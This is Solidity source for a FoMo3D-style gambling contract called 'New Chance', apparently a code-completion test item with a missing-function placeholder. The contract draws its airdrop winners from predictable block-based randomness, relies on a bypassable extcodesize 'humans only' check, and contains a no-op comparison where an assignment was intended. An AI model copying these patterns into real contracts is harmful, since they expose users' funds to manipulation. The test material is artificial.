contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(20)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards admin1.transfer(_com.sub(_com / 2)); admin2.transfer(_com / 2); round_[_rID].pot = _pot.add(_p3d); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d = 0; if (!address(admin1).call.value(_com.sub(_com / 2))()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _p3d.add(_com.sub(_com / 2)); } if (!address(admin2).call.value(_com / 2)()) { _p3d = _p3d.add(_com / 2); } _com = _com.sub(_p3d); // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { round_[_rID].pot = round_[_rID].pot.add(_p3d); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require((msg.sender == admin1 || msg.sender == admin2), "only admin can activate"); // can only be ran once require(activated_ == false, "already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
contract NewChance is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xdF762c13796758D89C91F7fdac1287b8Eeb294c4); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== address private admin1 = 0xFf387ccF09fD2F01b85721e1056B49852ECD27D6; address private admin2 = msg.sender; string constant public name = "New Chance"; string constant public symbol = "NEWCH"; uint256 private rndExtra_ = 30 minutes; // length of the very first ICO uint256 private rndGap_ = 30 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 30 minutes; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 12 hours; // max length a round timer can be //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes) //=============================|================================================ uint256 public airDropPot_; // person who gets the airdrop wins part of this pot uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public rID_; // round id number / total rounds that have happened //**************** // PLAYER DATA //**************** mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own) //**************** // ROUND DATA //**************** mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id //**************** // TEAM FEE DATA //**************** mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; <FILL_FUNCTION> //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev used to make sure no one can interact with contract until it has * been activated. */ modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev emergency buy uses last stored affiliate ID and team snek */ function() isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } /** * @dev converts all incoming ethereum to keys. * -functionhash- 0x8f38f309 (using ID for affiliate) * -functionhash- 0x98a0871d (using address for affiliate) * -functionhash- 0xa65b37a1 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? */ function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { // set up our tx event data and determine if player is new or not F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); // fetch player id uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // buy core buyCore(_pID, _affID, _team, _eventData_); } /** * @dev essentially the same as buy, but instead of you sending ether * from your wallet, it uses your unwithdrawn earnings. * -functionhash- 0x349cdcac (using ID for affiliate) * -functionhash- 0x82bfc739 (using address for affiliate) * -functionhash- 0x079ce327 (using name for affiliate) * @param _affCode the ID/address/name of the player who gets the affiliate fee * @param _team what team is the player playing for? * @param _eth amount of earnings to use (remainder returned to gen vault) */ function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz if (_affCode == 0 || _affCode == _pID) { // use last stored affiliate code _affCode = plyr_[_pID].laff; // if affiliate code was given & its not the same as previously stored } else if (_affCode != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affCode; } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == address(0) || _affCode == msg.sender) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // manage affiliate residuals uint256 _affID; // if no affiliate code was given or player tried to use their own, lolz if (_affCode == '' || _affCode == plyr_[_pID].name) { // use last stored affiliate code _affID = plyr_[_pID].laff; // if affiliate code was given } else { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // verify a valid team was selected _team = verifyTeam(_team); // reload core reLoadCore(_pID, _affID, _team, _eth, _eventData_); } /** * @dev withdraws all of your earnings. * -functionhash- 0x3ccfd60b */ function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // fetch player ID uint256 _pID = pIDxAddr_[msg.sender]; // setup temp var for player eth uint256 _eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new 